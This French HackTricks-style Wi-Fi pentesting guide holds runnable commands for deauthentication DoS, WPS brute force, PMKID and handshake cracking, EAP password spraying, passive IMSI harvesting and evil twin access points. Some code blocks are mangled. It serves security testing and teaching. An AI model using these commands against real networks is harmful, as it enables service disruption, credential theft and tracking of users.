Pentesting Wifi

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Commandes de base Wifi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Outils

Hijacker & NexMon (Wi-Fi interne Android)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Lancer airgeddon avec docker

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

Source: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Il peut effectuer des attaques Evil Twin, KARMA et Known Beacons, puis utiliser un modèle de phishing pour obtenir le mot de passe réel du réseau ou capturer des identifiants de réseaux sociaux.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Cet outil automatise les attaques WPS/WEP/WPA-PSK. Il va automatiquement :

  • Place l’interface en monitor mode
  • Scanne les réseaux possibles - et vous permet de sélectionner la/les victime(s)
  • Si WEP - Lance des attaques WEP
  • Si WPA-PSK
  • Si WPS : Pixie dust attack et bruteforce attack (attention, l’attaque brute-force peut prendre beaucoup de temps). Remarquez qu’il n’essaie pas null PIN ni database/generated PINs.
  • Tente de capturer le PMKID depuis l’AP pour le cracker
  • Tente de deauthenticate les clients de l’AP pour capturer un handshake
  • Si PMKID ou Handshake, tente un bruteforce en utilisant les top5000 passwords.

Résumé des attaques

  • DoS
  • Deauthentication/disassociation – Déconnecte tout le monde (ou un ESSID/Client spécifique)
  • Random fake APs – Masquer des réseaux, possible crash des scanners
  • Overload AP – Tenter de tuer l’AP (généralement pas très utile)
  • WIDS – Jouer avec l’IDS
  • TKIP, EAPOL – Quelques attaques spécifiques pour DoS certains APs
  • Cracking
  • Crack WEP (plusieurs outils et méthodes)
  • WPA-PSK
  • WPS pin “Brute-Force”
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake capture + Cracking
  • WPA-MGT
  • Username capture
  • Bruteforce Credentials
  • Evil Twin (with or without DoS)
  • Open Evil Twin [+ DoS] – Utile pour capturer captive portal creds et/ou effectuer des attaques LAN
  • WPA-PSK Evil Twin – Utile pour des attaques réseau si vous connaissez le mot de passe
  • WPA-MGT – Utile pour capturer des credentials d’entreprise
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open – Utile pour capturer captive portal creds et/ou effectuer des attaques LAN
  • + WPA – Utile pour capturer des WPA handshakes

DOS

Deauthentication Packets

Description provenant de here:.

Deauthentication attacks, a prevalent method in Wi-Fi hacking, involve forging “management” frames to forcefully disconnect devices from a network. These unencrypted packets deceive clients into believing they are from the legitimate network, enabling attackers to collect WPA handshakes for cracking purposes or to persistently disrupt network connections. This tactic, alarming in its simplicity, is widely used and has significant implications for network security.

Deauthentication using Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 signifie deauthentication
  • 1 est le nombre de deauths à envoyer (vous pouvez en envoyer plusieurs si vous le souhaitez) ; 0 signifie les envoyer en continu
  • -a 00:14:6C:7E:40:80 est l’adresse MAC du point d’accès
  • -c 00:0F:B5:34:30:30 est l’adresse MAC du client to deauthenticate ; si ceci est omis alors une broadcast deauthentication est envoyée (ne fonctionne pas toujours)
  • ath0 est le nom de l’interface

Disassociation Packets

Disassociation packets, similaire aux deauthentication packets, sont un type de trame de gestion utilisé dans les réseaux Wi‑Fi. Ces paquets servent à rompre la connexion entre un appareil (comme un ordinateur portable ou un smartphone) et un access point (AP). La distinction principale entre disassociation et deauthentication réside dans leurs scénarios d’utilisation. Alors qu’un AP émet deauthentication packets pour retirer explicitement les rogue devices du réseau, les disassociation packets sont typiquement envoyés lorsque l’AP est en cours d’arrêt, de redémarrage ou de déplacement, nécessitant ainsi la déconnexion de tous les nœuds connectés.

Cette attaque peut être effectuée par mdk4(mode “d”):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Plus d’attaques DOS par mdk4

Voir ici.

ATTACK MODE b: Beacon Flooding

Envoie des beacon frames pour afficher de faux APs auprès des clients. Cela peut parfois faire planter les network scanners et même les drivers!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

Envoyer des trames d’authentification à tous les Access Points (APs) accessibles à portée peut surcharger ces APs, surtout lorsque de nombreux clients sont impliqués. Ce trafic intense peut entraîner une instabilité du système, provoquant le gel de certains APs ou même leur redémarrage.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

MODE D’ATTAQUE p: SSID Probing and Bruteforcing

Le sondage des points d’accès (APs) permet de vérifier si un SSID est correctement révélé et confirme la portée de l’AP. Cette technique, combinée au bruteforcing hidden SSIDs avec ou sans wordlist, aide à identifier et à accéder aux réseaux dissimulés.

MODE D’ATTAQUE m: Michael Countermeasures Exploitation

L’envoi de paquets aléatoires ou dupliqués vers différentes files QoS peut déclencher les Michael Countermeasures sur TKIP APs, entraînant l’arrêt de l’AP pendant une minute. Cette méthode est une tactique d’attaque DoS (Denial of Service) efficace.

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

En inondant un AP avec des EAPOL Start frames, on crée des fake sessions, ce qui submerge l’AP et empêche les clients légitimes de se connecter. Alternativement, l’injection de fake EAPOL Logoff messages déconnecte de force les clients ; ces deux méthodes perturbent efficacement le service réseau.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: Attaques contre les réseaux maillés IEEE 802.11s

Diverses attaques contre la gestion des liaisons et le routage dans les réseaux maillés.

ATTACK MODE w: WIDS Confusion

La connexion croisée de clients à plusieurs nœuds WDS ou à de faux rogue APs peut manipuler les Intrusion Detection and Prevention Systems, créant de la confusion et un abus potentiel du système.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

Un packet fuzzer offrant diverses sources de paquets et un ensemble complet de modificateurs pour la manipulation des paquets.

Airggedon

Airgeddon propose la plupart des attaques mentionnées ci‑dessus :

WPS

WPS (Wi‑Fi Protected Setup) simplifie le processus de connexion des appareils à un routeur, accélérant et facilitant la configuration pour les réseaux chiffrés avec WPA ou WPA2 Personal. Il est inefficace pour la sécurité WEP, facilement compromise. WPS utilise un PIN à 8 chiffres, validé en deux moitiés, ce qui le rend susceptible aux attaques par brute-force en raison du nombre limité de combinaisons (environ 11 000 possibilités).

WPS Bruteforce

Il existe 2 outils principaux pour effectuer cette attaque : Reaver et Bully.

  • Reaver a été conçu pour être une attaque robuste et pratique contre WPS, et a été testé contre une grande variété de points d’accès et d’implémentations WPS.
  • Bully est une nouvelle implémentation de l’attaque WPS brute force, écrite en C. Elle présente plusieurs avantages par rapport au code reaver original : moins de dépendances, meilleures performances mémoire et CPU, gestion correcte de l’endianness et un ensemble d’options plus robuste.

L’attaque exploite la vulnérabilité du WPS PIN, notamment l’exposition des quatre premiers chiffres et le rôle du dernier chiffre en tant que checksum, facilitant l’attaque par brute-force. Cependant, des défenses contre les attaques par brute-force, comme le blocage des adresses MAC des attaquants agressifs, obligent à une rotation des adresses MAC pour poursuivre l’attaque.

Une fois le WPS PIN obtenu avec des outils comme Bully ou Reaver, l’attaquant peut déduire le WPA/WPA2 PSK, garantissant un accès réseau persistant.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

Cette approche raffinée cible les WPS PINs en exploitant des vulnérabilités connues :

  1. Pre-discovered PINs : Utiliser une base de données de PINs connus liée à des fabricants spécifiques connus pour utiliser des WPS PINs uniformes. Cette base de données met en corrélation les trois premiers octets des adresses MAC avec les PINs probables pour ces fabricants.
  2. PIN Generation Algorithms : Exploiter des algorithmes comme ComputePIN et EasyBox, qui calculent les WPS PINs à partir de l’adresse MAC de l’AP. L’algorithme Arcadyan nécessite en plus un device ID, ajoutant une couche au processus de génération de PIN.

WPS Pixie Dust attack

Dominique Bongard a découvert une faille dans certains Access Points (APs) concernant la création de codes secrets, appelés nonces (E-S1 et E-S2). Si ces nonces peuvent être déterminés, cracker le WPS PIN de l’AP devient facile. L’AP révèle le PIN dans un code spécial (hash) pour prouver qu’il est légitime et qu’il ne s’agit pas d’un AP rogue. Ces nonces sont essentiellement les “clés” pour ouvrir le “coffre” qui contient le WPS PIN. Plus d’informations à ce sujet sont disponibles here.

En termes simples, le problème est que certains APs n’utilisaient pas de clés suffisamment aléatoires pour chiffrer le PIN pendant le processus de connexion. Cela rend le PIN vulnérable au craquage depuis l’extérieur du réseau (offline brute force attack).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Si vous ne voulez pas mettre l’appareil en monitor mode, ou si reaver et bully rencontrent un problème, vous pouvez essayer OneShot-C. Cet outil peut effectuer une Pixie Dust attack sans avoir à passer en monitor mode.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

Certains systèmes mal conçus laissent même un Null PIN (un PIN vide ou inexistant) accorder l’accès, ce qui est assez inhabituel. L’outil Reaver est capable de tester cette vulnérabilité, contrairement à Bully.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Toutes les attaques WPS proposées peuvent être facilement réalisées en utilisant airgeddon.

  • 5 et 6 vous permettent d’essayer votre PIN personnalisé (si vous en avez)
  • 7 et 8 effectuent la Pixie Dust attack
  • 13 vous permet de tester le NULL PIN
  • 11 et 12 vont récupérer les PINs associés à l’AP sélectionnée depuis des bases de données disponibles et générer des PINs possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?)
  • 9 et 10 testeront tous les PINs possibles

WEP

Très vulnérable et peu utilisé de nos jours. Sachez simplement que airgeddon dispose d’une option WEP appelée “All-in-One” pour attaquer ce type de protection. D’autres outils proposent des options similaires.



WPA/WPA2 PSK

PMKID

En 2018, hashcat a révélé une nouvelle méthode d’attaque, unique car elle nécessite seulement un seul paquet et n’exige pas que des clients soient connectés à l’AP ciblé — juste une interaction entre l’attacker et l’AP.

De nombreux routeurs modernes ajoutent un champ optionnel au premier EAPOL lors de l’association, connu sous le nom Robust Security Network. Celui-ci inclut le PMKID.

Comme l’explique le post original, le PMKID est créé en utilisant des données connues :

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Étant donné que le “PMK Name” est constant, que nous connaissons le BSSID de l’AP et de la station, et que le PMK est identique à celui d’un full 4-way handshake, hashcat peut utiliser ces informations pour cracker le PSK et récupérer la passphrase !

Pour gather ces informations et bruteforce localement le mot de passe, vous pouvez faire :

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Les PMKIDs captured seront affichés dans la console et aussi sauvegardés dans _ /tmp/attack.pcap_
Maintenant, convertissez la capture au format hashcat/john et crack it:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Veuillez noter le format d’un hash correct contient 4 parts, comme : 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Si le vôtre ne contient que 3 parts, alors, il est invalide (la capture PMKID n’était pas valide).

Notez que hcxdumptool capture également des handshakes (quelque chose comme ceci apparaîtra : MP:M1M2 RC:63258 EAPOLTIME:17091). Vous pouvez transformer les handshakes au format hashcat/john en utilisant cap2hccapx

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

J’ai remarqué que certains handshakes capturés avec cet outil n’ont pas pu être cracked même en connaissant le mot de passe correct. Je recommande de capturer des handshakes aussi via la méthode traditionnelle si possible, ou d’en capturer plusieurs en utilisant cet outil.

Capture de handshake

Une attaque contre des réseaux WPA/WPA2 peut être exécutée en capturant un handshake et en tentant de crack le mot de passe offline. Ce processus implique de surveiller la communication d’un réseau spécifique et le BSSID sur un channel particulier. Voici un guide simplifié :

  1. Identifiez le BSSID, le channel, et un client connecté du réseau cible.
  2. Utilisez airodump-ng pour surveiller le trafic réseau sur le channel et le BSSID spécifiés, en espérant capturer un handshake. La commande ressemblera à ceci :
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Pour augmenter les chances de capturer un handshake, déconnectez momentanément le client du network pour forcer une re-authentication. Cela peut être fait en utilisant la commande aireplay-ng, qui envoie des deauthentication packets au client :
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Notez que comme le client a été désauthentifié, il pourrait essayer de se connecter à un autre AP ou, dans d’autres cas, à un autre réseau.

Lorsque des informations de handshake apparaissent dans airodump-ng, cela signifie que le handshake a été capturé et vous pouvez arrêter l’écoute :

Une fois le handshake capturé, vous pouvez le crack avec aircrack-ng :

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Vérifier si un handshake est présent dans le fichier

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Si cet outil trouve un handshake d’ESSID incomplet avant le handshake complété, il ne détectera pas le handshake valide.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

Dans des configurations enterprise WiFi, vous rencontrerez diverses méthodes d’authentification, chacune offrant différents niveaux de sécurité et des fonctionnalités de gestion. Lorsque vous utilisez des outils comme airodump-ng pour inspecter le trafic réseau, vous pourriez remarquer des identifiants pour ces types d’authentification. Parmi les méthodes courantes, on trouve :

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • Cette méthode supporte les hardware tokens et les one-time passwords au sein de EAP-PEAP. Contrairement à MSCHAPv2, elle n’utilise pas de peer challenge et envoie les mots de passe en clair vers l’access point, ce qui expose à des risques de downgrade attacks.
  1. EAP-MD5 (Message Digest 5):
  • Implique l’envoi du hash MD5 du mot de passe depuis le client. Ce n’est pas recommandé en raison de sa vulnérabilité aux attaques par dictionnaire, de l’absence d’authentification du serveur, et de l’incapacité à générer des clés WEP spécifiques à une session.
  1. EAP-TLS (Transport Layer Security):
  • Utilise à la fois des certificats côté client et côté serveur pour l’authentification et peut générer dynamiquement des clés WEP par utilisateur et par session pour sécuriser les communications.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • Fournit une authentification mutuelle via un tunnel chiffré, ainsi qu’une méthode pour dériver des clés WEP dynamiques, par utilisateur et par session. Il nécessite uniquement des certificats côté serveur, les clients utilisant des credentials.
  1. PEAP (Protected Extensible Authentication Protocol):
  • Fonctionne de manière similaire à EAP en créant un tunnel TLS pour la communication protégée. Il permet l’utilisation de protocoles d’authentification plus faibles au-dessus d’EAP grâce à la protection offerte par le tunnel.
  • PEAP-MSCHAPv2: Souvent appelé PEAP, il combine le mécanisme vulnérable de challenge/response MSCHAPv2 avec un tunnel TLS protecteur.
  • PEAP-EAP-TLS (or PEAP-TLS): Similaire à EAP-TLS mais initie un tunnel TLS avant l’échange des certificats, offrant une couche supplémentaire de sécurité.

You can find more information about these authentication methods here and here.

Username Capture

En lisant https://tools.ietf.org/html/rfc3748#page-27 il semble que si vous utilisez EAP les “Identity” messages doivent être supported, et le username va être envoyé en clear dans les messages “Response Identity”.

Même en utilisant l’une des méthodes d’authentification les plus sécurisées : PEAP-EAP-TLS, il est possible de capture the username sent in the EAP protocol. Pour ce faire, capturez une communication d’authentication (lancez airodump-ng sur un canal et wireshark sur la même interface) et filtrez les paquets par eapol.
Dans le paquet “Response, Identity”, le username du client apparaîtra.

Anonymous Identities

L’identity hiding est supportée par à la fois EAP-PEAP et EAP-TTLS. Dans le contexte d’un réseau WiFi, une requête EAP-Identity est typiquement initiée par l’access point (AP) pendant le processus d’association. Pour assurer la protection de l’anonymat de l’utilisateur, la réponse du client EAP sur l’appareil de l’utilisateur ne contient que les informations essentielles nécessaires au RADIUS initial pour traiter la requête. Ce concept est illustré par les scénarios suivants :

  • EAP-Identity = anonymous
  • Dans ce scénario, tous les utilisateurs emploient le pseudonyme “anonymous” comme identifiant utilisateur. Le RADIUS initial fonctionne soit comme un serveur EAP-PEAP soit comme un serveur EAP-TTLS, responsable de la gestion du côté serveur du protocole PEAP ou TTLS. La méthode d’authentification interne (protégée) est ensuite soit gérée localement soit déléguée à un RADIUS distant (home).
  • EAP-Identity = anonymous@realm_x
  • Dans cette situation, les utilisateurs de différents realms cachent leur identité tout en indiquant leur realm respectif. Cela permet au RADIUS initial de proxy les requêtes EAP-PEAP ou EAP-TTLS vers les serveurs RADIUS de leurs home realms, qui agissent comme le serveur PEAP ou TTLS. Le RADIUS initial opère uniquement comme un nœud relais RADIUS.
  • Alternativement, le RADIUS initial peut fonctionner comme le serveur EAP-PEAP ou EAP-TTLS et soit gérer la méthode d’authentification protégée soit la transférer à un autre serveur. Cette option facilite la configuration de politiques distinctes pour différents realms.

Dans EAP-PEAP, une fois que le tunnel TLS est établi entre le PEAP server et le PEAP client, le PEAP server initie une requête EAP-Identity et la transmet à travers le tunnel TLS. Le client répond à cette seconde requête EAP-Identity en envoyant une response EAP-Identity contenant la véritable identité de l’utilisateur à travers le tunnel chiffré. Cette approche empêche efficacement la révélation de l’identité réelle de l’utilisateur à quiconque écoute le trafic 802.11.

EAP-TTLS suit une procédure légèrement différente. Avec EAP-TTLS, le client s’authentifie typiquement en utilisant PAP ou CHAP, sécurisé par le tunnel TLS. Dans ce cas, le client inclut un attribut User-Name et soit un attribut Password soit CHAP-Password dans le message TLS initial envoyé après l’établissement du tunnel.

Quelle que soit la méthode choisie, le serveur PEAP/TTLS obtient la connaissance de la véritable identité de l’utilisateur après l’établissement du tunnel TLS. La véritable identité peut être représentée comme user@realm ou simplement user. Si le serveur PEAP/TTLS est également responsable de l’authentification de l’utilisateur, il possède maintenant l’identité de l’utilisateur et poursuit avec la méthode d’authentification protégée par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transférer une nouvelle requête RADIUS vers le RADIUS home de l’utilisateur. Cette nouvelle requête RADIUS omet la couche protocolaire PEAP ou TTLS. Dans les cas où la méthode d’authentification protégée est EAP, les messages EAP internes sont transmis au RADIUS home sans l’encapsulation EAP-PEAP ou EAP-TTLS. L’attribut User-Name du message RADIUS sortant contient la véritable identité de l’utilisateur, remplaçant le User-Name anonymous de la requête RADIUS entrante. Lorsque la méthode d’authentification protégée est PAP ou CHAP (supportée uniquement par TTLS), le User-Name et d’autres attributs d’authentification extraits de la charge utile TLS sont substitués dans le message RADIUS sortant, remplaçant le User-Name anonymous et les attributs TTLS EAP-Message présents dans la requête RADIUS entrante.

For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm

SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)

La SIM-based Wi‑Fi authentication utilisant EAP‑SIM/EAP‑AKA over 802.1X peut leak le permanent subscriber identifier (IMSI) en cleartext pendant la phase d’identité non authentifiée si le déploiement n’implémente pas de pseudonyms/protected identities ou un tunnel TLS autour de l’EAP interne.

Where the leak happens (high level):

  • 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
  • Authenticator sends EAP-Request/Identity.
  • Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
  • Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.

Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy

Cliquez pour développer ```bash # 1) Enable monitor mode airmon-ng start wlan0

2) Optional: lock channel to the target BSS

airodump-ng wlan0mon –essid

3) Capture 802.1X/EAP frames

Wireshark display filters:

eap || eapol

(identity specifically): eap.code == 2 && eap.type == 1

Kismet: add source wlan0mon; enable 802.1X/EAP views

tcpdump (pcap capture):

tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

4) Wait for a device to auto-connect to the SSID

5) Inspect the first EAP-Response/Identity frame

Expected: ASCII NAI containing IMSI, e.g.

20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

</details>

Notes :
- Fonctionne avant tout tunnel TLS si le déploiement utilise EAP‑SIM/AKA nu sans identité protégée / pseudonymes.
- La valeur exposée est un identifiant permanent lié à la SIM de l’abonné ; sa collecte permet un traçage à long terme et des abus télécom en aval.

Impact
- Confidentialité : traçage persistant des utilisateurs/appareils via des captures Wi‑Fi passives dans des lieux publics.
- Démarrage d'abus télécom : avec l'IMSI, un attaquant ayant accès à SS7/Diameter peut interroger la localisation ou tenter une interception d'appels/SMS et le vol de MFA.

Mitigations / éléments à vérifier
- Vérifier que les clients utilisent des identités externes anonymes (pseudonymes) pour EAP‑SIM/AKA conformément aux recommandations 3GPP (par ex., 3GPP TS 33.402).
- Privilégier le tunneling de la phase d'identité (par ex., EAP‑TTLS/PEAP transportant un EAP‑SIM/AKA interne) afin que l'IMSI ne soit jamais envoyé en clair.
- Les captures de paquets d'association/auth ne doivent jamais révéler un IMSI brut dans EAP-Response/Identity.

Related: Telecom signalling exploitation with captured mobile identifiers
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>

### EAP-Bruteforce (password spray)

Si le client doit utiliser un **username and password** (remarque : **EAP-TLS won't be valid** dans ce cas), vous pouvez essayer d'obtenir une **liste** de **usernames** (voir la partie suivante) et de **passwords** et tenter de **bruteforce** l'accès en utilisant [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer).
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Vous pouvez également effectuer cette attaque en utilisant eaphammer :

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Théorie des attaques client

Sélection du réseau et roaming

  • Le protocole 802.11 définit comment une station rejoint un Extended Service Set (ESS) mais ne précise pas les critères de sélection d’un ESS ou d’un access point (AP) au sein de celui-ci.
  • Les stations peuvent effectuer du roaming entre des AP partageant le même ESSID, maintenant la connectivité à travers un bâtiment ou une zone.
  • Le protocole exige l’authentification de la station auprès de l’ESS mais n’oblige pas l’authentification de l’AP auprès de la station.

Preferred Network Lists (PNL)

  • Les stations stockent l’ESSID de chaque réseau sans fil auquel elles se connectent dans leur Preferred Network List (PNL), ainsi que les détails de configuration spécifiques au réseau.
  • La PNL est utilisée pour se connecter automatiquement aux réseaux connus, améliorant l’expérience utilisateur en simplifiant le processus de connexion.

Passive Scanning

  • Les AP diffusent périodiquement des beacon frames, annonçant leur présence et leurs fonctionnalités, y compris l’ESSID de l’AP sauf si la diffusion est désactivée.
  • Lors du scannage passif, les stations écoutent les beacon frames. Si l’ESSID d’un beacon correspond à une entrée de la PNL de la station, la station peut se connecter automatiquement à cet AP.
  • La connaissance de la PNL d’un appareil permet une exploitation potentielle en imitant l’ESSID d’un réseau connu, trompant l’appareil pour qu’il se connecte à un rogue AP.

Active Probing

  • Le probing actif consiste à envoyer des probe requests par les stations pour découvrir les AP à proximité et leurs caractéristiques.
  • Les directed probe requests visent un ESSID spécifique, ce qui aide à détecter si un réseau particulier est à portée, même s’il est caché.
  • Les broadcast probe requests ont un champ SSID nul et sont envoyées à tous les AP à proximité, permettant à la station de vérifier la présence d’un réseau préféré sans divulguer le contenu de sa PNL.

Simple AP with redirection to Internet

Avant d’expliquer comment réaliser des attaques plus complexes, il sera expliqué comment simplement créer un AP et rediriger son trafic vers une interface connectée à l’Internet.

En utilisant ifconfig -a, vérifiez que l’interface wlan destinée à créer l’AP et l’interface connectée à l’Internet sont présentes.

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

Créez le fichier de configuration /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Ensuite, configurer les IPs et les routes :

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Et ensuite start dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Créer un fichier de configuration hostapd.conf :

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Arrêter les processus gênants , mettre monitor mode, et démarrer hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Transfert et redirection

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Une attaque Evil Twin exploite la façon dont les clients WiFi reconnaissent les réseaux, s’appuyant principalement sur le nom du réseau (ESSID) sans exiger que la base station (access point) s’authentifie auprès du client. Les points clés incluent :

  • Difficulté de différenciation : Les appareils ont du mal à distinguer les access points légitimes des rogue access points lorsqu’ils partagent le même ESSID et le même type de chiffrement. Les réseaux réels utilisent souvent plusieurs access points avec le même ESSID pour étendre la couverture de manière transparente.
  • Itinérance client et manipulation de connexion : Le protocole 802.11 permet aux appareils d’itinerer entre access points au sein du même ESS. Les attaquants peuvent exploiter cela en incitant un appareil à se déconnecter de sa base station actuelle et à se connecter à un rogue access point. Cela peut être réalisé en offrant un signal plus fort ou en perturbant la connexion à l’access point légitime via des méthodes comme des deauthentication packets ou du jamming.
  • Difficultés d’exécution : Réaliser avec succès une attaque Evil Twin dans des environnements comportant plusieurs access points bien placés peut être complexe. Le fait de deauthenticating un seul access point légitime entraîne souvent la connexion de l’appareil à un autre access point légitime, sauf si l’attaquant peut deauthenticate tous les access points à proximité ou placer stratégiquement le rogue access point.

You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Vous pouvez aussi créer un Evil Twin en utilisant eaphammer (notez que, pour créer des evil twins avec eaphammer, l’interface should NOT be en monitor mode) :

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Ou en utilisant Airgeddon : Options: 5,6,7,8,9 (inside Evil Twin attack menu).

